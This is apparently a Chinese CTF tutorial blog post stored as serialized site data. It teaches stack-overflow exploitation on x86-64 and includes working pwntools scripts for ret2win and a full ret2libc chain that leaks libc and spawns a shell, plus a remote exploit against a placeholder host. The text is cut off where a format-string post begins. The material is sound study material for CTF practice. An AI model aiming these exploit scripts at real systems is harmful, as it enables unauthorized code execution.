"path":9534,"seo":9535,"stem":9536,"__hash__":9537},"content/blogs/17. ctf-pwn-stack-overflow-rop-deep-dive.md","栈溢出与 ROP 深入实战：偏移、ret2win 与 ret2libc",{"type":7,"value":8444,"toc":9515},[8445,8449,8464,8467,8469,8517,8519,8523,8603,8606,8625,8629,8634,8639,8651,8653,8658,8661,8716,8718,8723,8729,8732,8735,8745,8799,8801,8807,8821,8825,8830,8891,8893,8903,8905,8911,8929,8933,8939,8942,8969,8971,8977,8990,8996,9000,9007,9012,9021,9025,9031,9035,9311,9314,9320,9324,9371,9375,9436,9440,9451,9492,9494,9499,9503,9512],[10,8446,8448],{"id":8447},"一现实背景缓冲区溢出","一、现实背景：缓冲区溢出",[15,8450,8451,1013,8453,1013,8456,8459,8460,8463],{},[26,8452,2381],{},[26,8454,8455],{},"strcpy",[26,8457,8458],{},"sprintf"," 不校验写入长度。输入超过缓冲区容量时，数据覆盖相邻内存，包括函数的返回地址。程序 ",[26,8461,8462],{},"ret"," 时跳到被覆盖的地址执行——这就是栈溢出的核心。",[15,8465,8466],{},"本文环境：Linux（Kali/Ubuntu），x86-64 架构，这是 CTF Pwn 的标准环境。",[10,8468,1196],{"id":1195},[31,8470,8472],{"className":267,"code":8471,"language":269,"meta":36,"style":36},"apt install gcc gdb\npip3 install pwntools ROPgadget\ngit clone https://github.com/pwndbg/pwndbg && cd pwndbg && ./setup.sh\n",[26,8473,8474,8484,8496],{"__ignoreMap":36},[40,8475,8476,8478,8480,8482],{"class":42,"line":43},[40,8477,642],{"class":276},[40,8479,645],{"class":284},[40,8481,2406],{"class":284},[40,8483,2409],{"class":284},[40,8485,8486,8488,8490,8493],{"class":42,"line":49},[40,8487,2414],{"class":276},[40,8489,645],{"class":284},[40,8491,8492],{"class":284}," pwntools",[40,8494,8495],{"class":284}," ROPgadget\n",[40,8497,8498,8500,8502,8505,8507,8509,8512,8514],{"class":42,"line":55},[40,8499,5264],{"class":276},[40,8501,5267],{"class":284},[40,8503,8504],{"class":284}," https://github.com/pwndbg/pwndbg",[40,8506,683],{"class":682},[40,8508,687],{"class":686},[40,8510,8511],{"class":284}," pwndbg",[40,8513,683],{"class":682},[40,8515,8516],{"class":276},"./setup.sh\n",[10,8518,2423],{"id":2422},[15,8520,8521,29],{},[26,8522,2429],{},[31,8524,8525],{"className":33,"code":2432,"language":35,"meta":36,"style":36},[26,8526,8527,8531,8535,8539,8543,8547,8551,8555,8559,8563,8567,8571,8575,8579,8583,8587,8591,8595,8599],{"__ignoreMap":36},[40,8528,8529],{"class":42,"line":43},[40,8530,46],{},[40,8532,8533],{"class":42,"line":49},[40,8534,2443],{},[40,8536,8537],{"class":42,"line":55},[40,8538,59],{"emptyLinePlaceholder":58},[40,8540,8541],{"class":42,"line":62},[40,8542,2452],{},[40,8544,8545],{"class":42,"line":68},[40,8546,2457],{},[40,8548,8549],{"class":42,"line":74},[40,8550,179],{},[40,8552,8553],{"class":42,"line":80},[40,8554,59],{"emptyLinePlaceholder":58},[40,8556,8557],{"class":42,"line":86},[40,8558,2470],{},[40,8560,8561],{"class":42,"line":92},[40,8562,2475],{},[40,8564,8565],{"class":42,"line":98},[40,8566,2480],{},[40,8568,8569],{"class":42,"line":104},[40,8570,179],{},[40,8572,8573],{"class":42,"line":110},[40,8574,59],{"emptyLinePlaceholder":58},[40,8576,8577],{"class":42,"line":116},[40,8578,2493],{},[40,8580,8581],{"class":42,"line":122},[40,8582,2498],{},[40,8584,8585],{"class":42,"line":128},[40,8586,2503],{},[40,8588,8589],{"class":42,"line":134},[40,8590,2508],{},[40,8592,8593],{"class":42,"line":140},[40,8594,2513],{},[40,8596,8597],{"class":42,"line":146},[40,8598,256],{},[40,8600,8601],{"class":42,"line":152},[40,8602,179],{},[15,8604,8605],{},"编译：",[31,8607,8609],{"className":267,"code":8608,"language":269,"meta":36,"style":36},"gcc -o vuln vuln.c -fno-stack-protector -no-pie\n",[26,8610,8611],{"__ignoreMap":36},[40,8612,8613,8615,8617,8619,8621,8623],{"class":42,"line":43},[40,8614,277],{"class":276},[40,8616,281],{"class":280},[40,8618,2538],{"class":284},[40,8620,2541],{"class":284},[40,8622,2544],{"class":280},[40,8624,2547],{"class":280},[10,8626,8628],{"id":8627},"四核心步骤-1checksec","四、核心步骤 1：checksec",[15,8630,8631,8633],{},[333,8632,335],{},"：开打前判断这条路能否走通，避免构造无效 payload。",[15,8635,8636,8638],{},[333,8637,341],{},"：No canary → 可以直接覆盖返回地址；No PIE → win 地址写死可用；NX 开启 → 本阶段不打 shellcode，后面用 ROP。",[31,8640,8641],{"className":267,"code":2577,"language":269,"meta":36,"style":36},[26,8642,8643],{"__ignoreMap":36},[40,8644,8645,8647,8649],{"class":42,"line":43},[40,8646,2584],{"class":276},[40,8648,2587],{"class":284},[40,8650,2590],{"class":284},[15,8652,423],{},[31,8654,8656],{"className":8655,"code":2596,"language":380,"meta":36},[378],[26,8657,2596],{"__ignoreMap":36},[15,8659,8660],{},"逐行含义：",[955,8662,8663,8671],{},[958,8664,8665],{},[961,8666,8667,8669],{},[964,8668,6449],{},[964,8670,1553],{},[974,8672,8673,8683,8693,8706],{},[961,8674,8675,8680],{},[979,8676,8677],{},[26,8678,8679],{},"No canary found",[979,8681,8682],{},"无栈金丝雀，可覆盖返回地址",[961,8684,8685,8690],{},[979,8686,8687],{},[26,8688,8689],{},"NX enabled",[979,8691,8692],{},"栈不可执行，不能直接放 shellcode",[961,8694,8695,8700],{},[979,8696,8697],{},[26,8698,8699],{},"No PIE",[979,8701,8702,8703,8705],{},"程序地址固定，",[26,8704,2658],{}," 地址可直接写死",[961,8707,8708,8713],{},[979,8709,8710],{},[26,8711,8712],{},"Partial RELRO",[979,8714,8715],{},"GOT 可写（本阶段用不到）",[10,8717,2663],{"id":2662},[15,8719,8720,8722],{},[26,8721,2668],{}," 栈帧自低到高：",[31,8724,8727],{"className":8725,"code":8726,"language":380,"meta":36},[378],"┌──────────────────────┐\n│  buf[32]             │  ← gets 写入起点\n├──────────────────────┤\n│  对齐填充             │\n├──────────────────────┤\n│  saved rbp（8 字节）   │\n├──────────────────────┤\n│  返回地址（8 字节）     │  ← 目标\n└──────────────────────┘\n",[26,8728,8726],{"__ignoreMap":36},[15,8730,8731],{},"偏移 = 32 + 8 = 40。",[15,8733,8734],{},"用 pwntools 验证：",[15,8736,8737,29,8739,8741,8742,8744],{},[333,8738,341],{},[26,8740,2681],{}," 生成无重复模式串，程序崩溃时 rip 的值取自模式串；",[26,8743,3039],{}," 反查位置，即\"从输入开头到返回地址的距离\"。",[31,8746,8748],{"className":841,"code":8747,"language":843,"meta":36,"style":36},"from pwn import *\n\np = process('./vuln')\np.sendline(cyclic(200))\n# cyclic(200)：生成 200 字节无重复模式串，发出去覆盖栈。\np.wait()\n# 等进程崩溃退出，生成 core 文件供读取。\noffset = cyclic_find(p.corefile.fault_addr)\n# p.corefile.fault_addr：崩溃时 rip 的值。\n# cyclic_find：返回该值在模式串中的下标 = 到返回地址的偏移。\nprint(\"offset =\", offset)\n",[26,8749,8750,8754,8758,8762,8766,8771,8775,8780,8784,8789,8794],{"__ignoreMap":36},[40,8751,8752],{"class":42,"line":43},[40,8753,2692],{},[40,8755,8756],{"class":42,"line":49},[40,8757,59],{"emptyLinePlaceholder":58},[40,8759,8760],{"class":42,"line":55},[40,8761,2701],{},[40,8763,8764],{"class":42,"line":62},[40,8765,2706],{},[40,8767,8768],{"class":42,"line":68},[40,8769,8770],{},"# cyclic(200)：生成 200 字节无重复模式串，发出去覆盖栈。\n",[40,8772,8773],{"class":42,"line":74},[40,8774,2721],{},[40,8776,8777],{"class":42,"line":80},[40,8778,8779],{},"# 等进程崩溃退出，生成 core 文件供读取。\n",[40,8781,8782],{"class":42,"line":86},[40,8783,2731],{},[40,8785,8786],{"class":42,"line":92},[40,8787,8788],{},"# p.corefile.fault_addr：崩溃时 rip 的值。\n",[40,8790,8791],{"class":42,"line":98},[40,8792,8793],{},"# cyclic_find：返回该值在模式串中的下标 = 到返回地址的偏移。\n",[40,8795,8796],{"class":42,"line":104},[40,8797,8798],{},"print(\"offset =\", offset)\n",[15,8800,423],{},[31,8802,8805],{"className":8803,"code":8804,"language":380,"meta":36},[378],"offset = 40\n",[26,8806,8804],{"__ignoreMap":36},[15,8808,8809,8810,8813,8814,8817,8818,8820],{},"原理：",[26,8811,8812],{},"cyclic(200)"," 生成无重复的模式串；程序崩溃时 ",[26,8815,8816],{},"rip"," 的值必然是模式串中的 4/8 字节，",[26,8819,3039],{}," 返回它在模式串中的位置，即到返回地址的距离。",[10,8822,8824],{"id":8823},"六核心步骤-3ret2win","六、核心步骤 3：ret2win",[15,8826,8827,8829],{},[333,8828,335],{},"：把返回地址改成 win，验证控制流劫持成功。",[31,8831,8833],{"className":841,"code":8832,"language":843,"meta":36,"style":36},"from pwn import *\n\nelf = ELF('./vuln')\np = process('./vuln')\n\np.recvuntil(b'name?')\n# recvuntil(b'name?')：读到提示字符串为止，确保 gets 就绪。\npayload = b'A' * 40 + p64(elf.symbols['win'])\n# b'A'*40：填充缓冲区与 saved rbp。\n# p64(elf.symbols['win'])：win 地址转 8 字节小端，覆盖返回地址。\np.sendline(payload)\np.interactive()\n# interactive()：把终端接到进程，shell 可交互。\n",[26,8834,8835,8839,8843,8847,8851,8855,8859,8864,8868,8873,8878,8882,8886],{"__ignoreMap":36},[40,8836,8837],{"class":42,"line":43},[40,8838,2692],{},[40,8840,8841],{"class":42,"line":49},[40,8842,59],{"emptyLinePlaceholder":58},[40,8844,8845],{"class":42,"line":55},[40,8846,2782],{},[40,8848,8849],{"class":42,"line":62},[40,8850,2701],{},[40,8852,8853],{"class":42,"line":68},[40,8854,59],{"emptyLinePlaceholder":58},[40,8856,8857],{"class":42,"line":74},[40,8858,2944],{},[40,8860,8861],{"class":42,"line":80},[40,8862,8863],{},"# recvuntil(b'name?')：读到提示字符串为止，确保 gets 就绪。\n",[40,8865,8866],{"class":42,"line":86},[40,8867,2959],{},[40,8869,8870],{"class":42,"line":92},[40,8871,8872],{},"# b'A'*40：填充缓冲区与 saved rbp。\n",[40,8874,8875],{"class":42,"line":98},[40,8876,8877],{},"# p64(elf.symbols['win'])：win 地址转 8 字节小端，覆盖返回地址。\n",[40,8879,8880],{"class":42,"line":104},[40,8881,2885],{},[40,8883,8884],{"class":42,"line":110},[40,8885,2973],{},[40,8887,8888],{"class":42,"line":116},[40,8889,8890],{},"# interactive()：把终端接到进程，shell 可交互。\n",[15,8892,907],{},[31,8894,8895],{"className":267,"code":3100,"language":269,"meta":36,"style":36},[26,8896,8897],{"__ignoreMap":36},[40,8898,8899,8901],{"class":42,"line":43},[40,8900,917],{"class":276},[40,8902,3109],{"class":284},[15,8904,2986],{},[31,8906,8909],{"className":8907,"code":8908,"language":380,"meta":36},[378],"[*] Switching to interactive mode\n$ id\nuid=1000(ctf) gid=1000(ctf) groups=1000(ctf)\n",[26,8910,8908],{"__ignoreMap":36},[15,8912,8913,8914,8916,8917,3278,8919,1998,8921,8923,8924,3278,8926,8928],{},"执行过程：",[26,8915,2381],{}," 把 48 字节写入 buf → 前 40 字节填满 buf+saved rbp → 后 8 字节覆盖返回地址为 ",[26,8918,2658],{},[26,8920,2668],{},[26,8922,8462],{}," 跳到 ",[26,8925,2658],{},[26,8927,3002],{}," 弹 shell。",[10,8930,8932],{"id":8931},"七进阶nx-与-rop","七、进阶：NX 与 ROP",[15,8934,8935,8936,8938],{},"NX 开启后栈不可执行，但代码段可执行。ROP（Return-Oriented Programming）把程序里已有的、以 ",[26,8937,8462],{}," 结尾的指令片段（gadget）串起来执行。",[15,8940,8941],{},"找 gadget：",[31,8943,8945],{"className":267,"code":8944,"language":269,"meta":36,"style":36},"ROPgadget --binary ./vuln | grep \"pop rdi\"\n",[26,8946,8947],{"__ignoreMap":36},[40,8948,8949,8952,8955,8958,8960,8962,8964,8967],{"class":42,"line":43},[40,8950,8951],{"class":276},"ROPgadget",[40,8953,8954],{"class":280}," --binary",[40,8956,8957],{"class":284}," ./vuln",[40,8959,493],{"class":492},[40,8961,496],{"class":276},[40,8963,5440],{"class":505},[40,8965,8966],{"class":284},"pop rdi",[40,8968,5446],{"class":505},[15,8970,423],{},[31,8972,8975],{"className":8973,"code":8974,"language":380,"meta":36},[378],"0x0000000000401233 : pop rdi ; ret\n",[26,8976,8974],{"__ignoreMap":36},[15,8978,8979,8982,8983,8986,8987,8989],{},[26,8980,8981],{},"pop rdi; ret"," 的作用：把栈上的下一个 8 字节弹进 ",[26,8984,8985],{},"rdi","（x86-64 的第一个参数寄存器），然后 ",[26,8988,8462],{}," 跳到下个地址。栈上布局：",[31,8991,8994],{"className":8992,"code":8993,"language":380,"meta":36},[378],"[pop rdi; ret] [参数] [要调用的函数] [下一 gadget] ...\n",[26,8995,8993],{"__ignoreMap":36},[10,8997,8999],{"id":8998},"八进阶ret2libc","八、进阶：ret2libc",[15,9001,9002,9004,9005,307],{},[333,9003,335],{},"：程序内没有目标函数时，改调 libc 的 ",[26,9006,3002],{},[15,9008,9009,9011],{},[333,9010,341],{},"：ASLR 让 libc 基址随机，但\"符号在 libc 内的偏移\"固定。先泄露一个已知符号（puts）的真实地址，反推基址，再计算 system 与 \"/bin/sh\" 的地址。验证方式：第一段打印出的 puts 地址与 libc 文件里查到的偏移做差，得到的基址应当是 0x...000 结尾。",[15,9013,9014,9015,9017,9018,9020],{},"程序里没有 ",[26,9016,2658],{}," 时，改调 libc 里的 ",[26,9019,3002],{},"。libc 基址被 ASLR 随机化，解决方法是\"先泄露，再计算\"。",[355,9022,9024],{"id":9023},"_81-原理","8.1 原理",[31,9026,9029],{"className":9027,"code":9028,"language":380,"meta":36},[378],"泄露 puts 的真实地址（调用 puts(puts@got)）\nlibc 基址 = puts 真实地址 - puts 在 libc 中的偏移\nsystem 地址 = libc 基址 + system 偏移\n\"/bin/sh\" 地址 = libc 基址 + 字符串偏移\n",[26,9030,9028],{"__ignoreMap":36},[355,9032,9034],{"id":9033},"_82-完整脚本","8.2 完整脚本",[31,9036,9038],{"className":841,"code":9037,"language":843,"meta":36,"style":36},"from pwn import *\n\ncontext.log_level = 'error'\n# 只显示错误，减少调试信息刷屏。\n\nelf = ELF('./vuln')\nlibc = ELF('/lib/x86_64-linux-gnu/libc.so.6')\n# 本地 libc 文件；远程题目若提供 libc，这里换成对应的文件路径。\np = process('./vuln')\n\noffset = 40\npop_rdi = 0x401233        # ROPgadget 搜到的 \"pop rdi; ret\" 地址\nret = 0x40101a            # 任意 \"ret\" 地址，用于栈 16 字节对齐\n\n# 第一阶段：泄露 puts 地址并返回 main\npayload1 = b'A' * offset\npayload1 += p64(ret)\n# 先执行一个 ret：让栈指针再弹 8 字节，满足 system 的 16 字节对齐要求。\npayload1 += p64(pop_rdi)\npayload1 += p64(elf.got['puts'])\n# got['puts']：GOT 里存放 puts 真实地址的内存位置。\npayload1 += p64(elf.plt['puts'])\n# plt['puts']：调用 puts 的入口；执行后相当于 puts(puts@got)，打印真实地址。\npayload1 += p64(elf.symbols['main'])\n# 回到 main，让程序再读一次输入，进行第二阶段。\n\np.recvuntil(b'name?')\np.sendline(payload1)\n\nleak = u64(p.recvline().strip().ljust(8, b'\\x00'))\n# recvline()：读一行（puts 输出后带换行）。\n# strip()：去掉换行；ljust(8, b'\\x00')：不足 8 字节用 \\x00 补齐。\n# u64()：8 字节小端转成整数，即 puts 的真实地址。\nprint(\"puts:\", hex(leak))\n\nlibc.address = leak - libc.symbols['puts']\n# libc.symbols['puts']：puts 在 libc 文件内的固定偏移。\n# 真实地址 - 偏移 = libc 基址；给 libc.address 赋值后，\n# 后面的 libc.symbols['system'] 会自动加上基址。\nprint(\"libc base:\", hex(libc.address))\n\n# 第二阶段：system(\"/bin/sh\")\npayload2 = b'A' * offset\npayload2 += p64(ret)\npayload2 += p64(pop_rdi)\npayload2 += p64(next(libc.search(b'/bin/sh')))\n# libc.search(b'/bin/sh')：在 libc 里找该字符串的所有位置；\n# next(...) 取第一个位置（偏移），libc.address 赋值后自动加基址。\npayload2 += p64(libc.symbols['system'])\n# 调用 system(\"/bin/sh\")。\n\np.sendlineafter(b'name?', payload2)\n# sendlineafter：先等提示再发送，保证时序正确。\np.interactive()\n",[26,9039,9040,9044,9048,9053,9058,9062,9066,9071,9076,9080,9084,9088,9093,9098,9102,9107,9112,9117,9122,9127,9132,9137,9142,9147,9152,9157,9161,9165,9170,9174,9179,9184,9189,9194,9199,9203,9208,9213,9218,9224,9230,9235,9241,9247,9253,9259,9265,9271,9277,9283,9289,9294,9300,9306],{"__ignoreMap":36},[40,9041,9042],{"class":42,"line":43},[40,9043,2692],{},[40,9045,9046],{"class":42,"line":49},[40,9047,59],{"emptyLinePlaceholder":58},[40,9049,9050],{"class":42,"line":55},[40,9051,9052],{},"context.log_level = 'error'\n",[40,9054,9055],{"class":42,"line":62},[40,9056,9057],{},"# 只显示错误，减少调试信息刷屏。\n",[40,9059,9060],{"class":42,"line":68},[40,9061,59],{"emptyLinePlaceholder":58},[40,9063,9064],{"class":42,"line":74},[40,9065,2782],{},[40,9067,9068],{"class":42,"line":80},[40,9069,9070],{},"libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')\n",[40,9072,9073],{"class":42,"line":86},[40,9074,9075],{},"# 本地 libc 文件；远程题目若提供 libc，这里换成对应的文件路径。\n",[40,9077,9078],{"class":42,"line":92},[40,9079,2701],{},[40,9081,9082],{"class":42,"line":98},[40,9083,59],{"emptyLinePlaceholder":58},[40,9085,9086],{"class":42,"line":104},[40,9087,8804],{},[40,9089,9090],{"class":42,"line":110},[40,9091,9092],{},"pop_rdi = 0x401233        # ROPgadget 搜到的 \"pop rdi; ret\" 地址\n",[40,9094,9095],{"class":42,"line":116},[40,9096,9097],{},"ret = 0x40101a            # 任意 \"ret\" 地址，用于栈 16 字节对齐\n",[40,9099,9100],{"class":42,"line":122},[40,9101,59],{"emptyLinePlaceholder":58},[40,9103,9104],{"class":42,"line":128},[40,9105,9106],{},"# 第一阶段：泄露 puts 地址并返回 main\n",[40,9108,9109],{"class":42,"line":134},[40,9110,9111],{},"payload1 = b'A' * offset\n",[40,9113,9114],{"class":42,"line":140},[40,9115,9116],{},"payload1 += p64(ret)\n",[40,9118,9119],{"class":42,"line":146},[40,9120,9121],{},"# 先执行一个 ret：让栈指针再弹 8 字节，满足 system 的 16 字节对齐要求。\n",[40,9123,9124],{"class":42,"line":152},[40,9125,9126],{},"payload1 += p64(pop_rdi)\n",[40,9128,9129],{"class":42,"line":158},[40,9130,9131],{},"payload1 += p64(elf.got['puts'])\n",[40,9133,9134],{"class":42,"line":164},[40,9135,9136],{},"# got['puts']：GOT 里存放 puts 真实地址的内存位置。\n",[40,9138,9139],{"class":42,"line":170},[40,9140,9141],{},"payload1 += p64(elf.plt['puts'])\n",[40,9143,9144],{"class":42,"line":176},[40,9145,9146],{},"# plt['puts']：调用 puts 的入口；执行后相当于 puts(puts@got)，打印真实地址。\n",[40,9148,9149],{"class":42,"line":182},[40,9150,9151],{},"payload1 += p64(elf.symbols['main'])\n",[40,9153,9154],{"class":42,"line":187},[40,9155,9156],{},"# 回到 main，让程序再读一次输入，进行第二阶段。\n",[40,9158,9159],{"class":42,"line":193},[40,9160,59],{"emptyLinePlaceholder":58},[40,9162,9163],{"class":42,"line":199},[40,9164,2944],{},[40,9166,9167],{"class":42,"line":205},[40,9168,9169],{},"p.sendline(payload1)\n",[40,9171,9172],{"class":42,"line":211},[40,9173,59],{"emptyLinePlaceholder":58},[40,9175,9176],{"class":42,"line":217},[40,9177,9178],{},"leak = u64(p.recvline().strip().ljust(8, b'\\x00'))\n",[40,9180,9181],{"class":42,"line":223},[40,9182,9183],{},"# recvline()：读一行（puts 输出后带换行）。\n",[40,9185,9186],{"class":42,"line":229},[40,9187,9188],{},"# strip()：去掉换行；ljust(8, b'\\x00')：不足 8 字节用 \\x00 补齐。\n",[40,9190,9191],{"class":42,"line":235},[40,9192,9193],{},"# u64()：8 字节小端转成整数，即 puts 的真实地址。\n",[40,9195,9196],{"class":42,"line":241},[40,9197,9198],{},"print(\"puts:\", hex(leak))\n",[40,9200,9201],{"class":42,"line":247},[40,9202,59],{"emptyLinePlaceholder":58},[40,9204,9205],{"class":42,"line":253},[40,9206,9207],{},"libc.address = leak - libc.symbols['puts']\n",[40,9209,9210],{"class":42,"line":259},[40,9211,9212],{},"# libc.symbols['puts']：puts 在 libc 文件内的固定偏移。\n",[40,9214,9215],{"class":42,"line":4801},[40,9216,9217],{},"# 真实地址 - 偏移 = libc 基址；给 libc.address 赋值后，\n",[40,9219,9221],{"class":42,"line":9220},39,[40,9222,9223],{},"# 后面的 libc.symbols['system'] 会自动加上基址。\n",[40,9225,9227],{"class":42,"line":9226},40,[40,9228,9229],{},"print(\"libc base:\", hex(libc.address))\n",[40,9231,9233],{"class":42,"line":9232},41,[40,9234,59],{"emptyLinePlaceholder":58},[40,9236,9238],{"class":42,"line":9237},42,[40,9239,9240],{},"# 第二阶段：system(\"/bin/sh\")\n",[40,9242,9244],{"class":42,"line":9243},43,[40,9245,9246],{},"payload2 = b'A' * offset\n",[40,9248,9250],{"class":42,"line":9249},44,[40,9251,9252],{},"payload2 += p64(ret)\n",[40,9254,9256],{"class":42,"line":9255},45,[40,9257,9258],{},"payload2 += p64(pop_rdi)\n",[40,9260,9262],{"class":42,"line":9261},46,[40,9263,9264],{},"payload2 += p64(next(libc.search(b'/bin/sh')))\n",[40,9266,9268],{"class":42,"line":9267},47,[40,9269,9270],{},"# libc.search(b'/bin/sh')：在 libc 里找该字符串的所有位置；\n",[40,9272,9274],{"class":42,"line":9273},48,[40,9275,9276],{},"# next(...) 取第一个位置（偏移），libc.address 赋值后自动加基址。\n",[40,9278,9280],{"class":42,"line":9279},49,[40,9281,9282],{},"payload2 += p64(libc.symbols['system'])\n",[40,9284,9286],{"class":42,"line":9285},50,[40,9287,9288],{},"# 调用 system(\"/bin/sh\")。\n",[40,9290,9292],{"class":42,"line":9291},51,[40,9293,59],{"emptyLinePlaceholder":58},[40,9295,9297],{"class":42,"line":9296},52,[40,9298,9299],{},"p.sendlineafter(b'name?', payload2)\n",[40,9301,9303],{"class":42,"line":9302},53,[40,9304,9305],{},"# sendlineafter：先等提示再发送，保证时序正确。\n",[40,9307,9309],{"class":42,"line":9308},54,[40,9310,2973],{},[15,9312,9313],{},"运行输出：",[31,9315,9318],{"className":9316,"code":9317,"language":380,"meta":36},[378],"puts: 0x7f8a2c3a5aa0\nlibc base: 0x7f8a2c328000\n[*] Switching to interactive mode\n$ id\n",[26,9319,9317],{"__ignoreMap":36},[355,9321,9323],{"id":9322},"_83-三个易错点","8.3 三个易错点",[1054,9325,9326,9346,9361],{},[1057,9327,9328,29,9331,9334,9335,9338,9339,9342,9343,307],{},[333,9329,9330],{},"补零",[26,9332,9333],{},"puts"," 输出的地址以换行结尾，",[26,9336,9337],{},"strip()"," 去掉换行，",[26,9340,9341],{},"ljust(8, b'\\x00')"," 补到 8 字节再 ",[26,9344,9345],{},"u64",[1057,9347,9348,29,9351,9354,9355,9358,9359,307],{},[333,9349,9350],{},"对齐",[26,9352,9353],{},"system"," 内部使用 ",[26,9356,9357],{},"movaps","，要求栈 16 字节对齐，需要额外一个 ",[26,9360,8462],{},[1057,9362,9363,9366,9367,9370],{},[333,9364,9365],{},"libc 版本","：远程题目若提供 libc，用 ",[26,9368,9369],{},"libc = ELF('./libc-2.27.so')","；否则在 libc.rip 输入泄露的地址查版本。",[10,9372,9374],{"id":9373},"九必学工具","九、必学工具",[955,9376,9377,9387],{},[958,9378,9379],{},[961,9380,9381,9383,9385],{},[964,9382,966],{},[964,9384,3018],{},[964,9386,3021],{},[974,9388,9389,9407,9419],{},[961,9390,9391,9393,9405],{},[979,9392,3028],{},[979,9394,9395,1013,9397,2138,9399,1013,9401,3043,9403],{},[26,9396,3033],{},[26,9398,2681],{},[26,9400,3039],{},[26,9402,2895],{},[26,9404,3046],{},[979,9406,3050],{},[961,9408,9409,9411,9414],{},[979,9410,8951],{},[979,9412,9413],{},"搜索 gadget、指定寄存器、输出地址",[979,9415,9416],{},[26,9417,9418],{},"ROPgadget --binary vuln | grep \"pop rdi\"",[961,9420,9421,9424,9427],{},[979,9422,9423],{},"GDB（pwndbg）",[979,9425,9426],{},"断点、看栈、查看崩溃点",[979,9428,9429,1013,9431,1013,9433],{},[26,9430,3076],{},[26,9432,3079],{},[26,9434,9435],{},"bt",[10,9437,9439],{"id":9438},"十小-ctf-实战","十、小 CTF 实战",[15,9441,2149,9442,9444,9445,9447,9448,9450],{},[26,9443,3091],{}," 运行 ",[26,9446,2668],{},"（No canary、No PIE，有 ",[26,9449,2658],{},"）。",[31,9452,9454],{"className":841,"code":9453,"language":843,"meta":36,"style":36},"from pwn import *\n\nelf = ELF('./vuln')\np = remote('1.2.3.4', 10001)\n\npayload = b'A' * 40 + p64(elf.symbols['win'])\np.sendline(payload)\np.sendline(b'cat flag')\np.interactive()\n",[26,9455,9456,9460,9464,9468,9472,9476,9480,9484,9488],{"__ignoreMap":36},[40,9457,9458],{"class":42,"line":43},[40,9459,2692],{},[40,9461,9462],{"class":42,"line":49},[40,9463,59],{"emptyLinePlaceholder":58},[40,9465,9466],{"class":42,"line":55},[40,9467,2782],{},[40,9469,9470],{"class":42,"line":62},[40,9471,2835],{},[40,9473,9474],{"class":42,"line":68},[40,9475,59],{"emptyLinePlaceholder":58},[40,9477,9478],{"class":42,"line":74},[40,9479,2959],{},[40,9481,9482],{"class":42,"line":80},[40,9483,2885],{},[40,9485,9486],{"class":42,"line":86},[40,9487,3178],{},[40,9489,9490],{"class":42,"line":92},[40,9491,2973],{},[15,9493,423],{},[31,9495,9497],{"className":9496,"code":3193,"language":380,"meta":36},[378],[26,9498,3193],{"__ignoreMap":36},[10,9500,9502],{"id":9501},"十一小结","十一、小结",[15,9504,9505,9506,9508,9509,9511],{},"栈溢出主线：",[26,9507,3055],{}," 判断防护 → ",[26,9510,2681],{}," 找偏移 → 覆盖返回地址。NX 出现后用 ROP，ASLR 出现后先泄露再计算。练熟 ret2win 与 ret2libc 即可覆盖大多数入门到中级 Pwn 题。",[1098,9513,9514],{},"html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html pre.shiki code .sCdxs, html code.shiki .sCdxs{--shiki-default:#F8F8F2}html pre.shiki code .sLL85, html code.shiki .sLL85{--shiki-default:#8BE9FD}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .s0Tla, html code.shiki .s0Tla{--shiki-default:#FF79C6}html pre.shiki code .seVfx, html code.shiki .seVfx{--shiki-default:#E9F284}",{"title":36,"searchDepth":49,"depth":49,"links":9516},[9517,9518,9519,9520,9521,9522,9523,9524,9525,9526,9527],{"id":8447,"depth":55,"text":8448},{"id":1195,"depth":55,"text":1196},{"id":2422,"depth":55,"text":2423},{"id":8627,"depth":55,"text":8628},{"id":2662,"depth":55,"text":2663},{"id":8823,"depth":55,"text":8824},{"id":8931,"depth":55,"text":8932},{"id":8998,"depth":55,"text":8999},{"id":9373,"depth":55,"text":9374},{"id":9438,"depth":55,"text":9439},{"id":9501,"depth":55,"text":9502},"栈溢出实践：编译与 checksec、cyclic 找偏移、ret2win 利用、PLT/GOT 与 ASLR 原理、ret2libc 泄露计算与完整脚本。",{"date":1115,"image":9530,"alt":9531,"tags":9532,"published":58},"/blogs-img/blog8.png","栈溢出与 ROP 深入实战",[1119,2584,9533,1122],"栈溢出","/blogs/ctf-pwn-stack-overflow-rop-deep-dive",{"title":8442,"description":9528},"blogs/17. ctf-pwn-stack-overflow-rop-deep-dive","nXKz1FbP17Wgk_hN6NTnSqOWF8XUdJPumxZYT7_VJr8",{"id":9539,"title":9540,"body":9541,"description":10566,"extension":1113,"meta":10567,"navigation":58,"ogImage":4229,"path":10571,"seo":10572,"stem":10573,"__hash__":10574},"content/blogs/18. ctf-pwn-format-string-deep-dive.md","格式化字符串深入实战：%p 泄露、偏移定位与 %n 任意写",{"type":7,"value":9542,"toc":10554},[9543,9547,9550,9565,9580,9597,9601,9606,9655,9676,9680,9685,9687,9696,9698,9704,9707,9713,9724,9732,9736,9741,9757,9760,9762,9770,9772,9778,9781,9787,9797,9864,9869,9899,9903,9908,9921,9929,9984,10037,10040,10049,10052,10056,10061,10076,10081,10087,10089,10102,10105,10148,10152,10163,10171,10177,10247,10280,10283,10362,10368,10397,10407,10409,10467,10471,10478,10487,10530,10532,10538,10540,10551],[10,9544,9546],{"id":9545},"一现实背景printf-的错误写法","一、现实背景：printf 的错误写法",[15,9548,9549],{},"C 程序员常写的输出代码：",[31,9551,9553],{"className":33,"code":9552,"language":35,"meta":36,"style":36},"printf(buf);      // 错误：buf 被当成格式字符串\nprintf(\"%s\", buf); // 正确：buf 只是数据\n",[26,9554,9555,9560],{"__ignoreMap":36},[40,9556,9557],{"class":42,"line":43},[40,9558,9559],{},"printf(buf);      // 错误：buf 被当成格式字符串\n",[40,9561,9562],{"class":42,"line":49},[40,9563,9564],{},"printf(\"%s\", buf); // 正确：buf 只是数据\n",[15,9566,9567,9568,9571,9572,9575,9576,9579],{},"当 ",[26,9569,9570],{},"buf"," 内容是 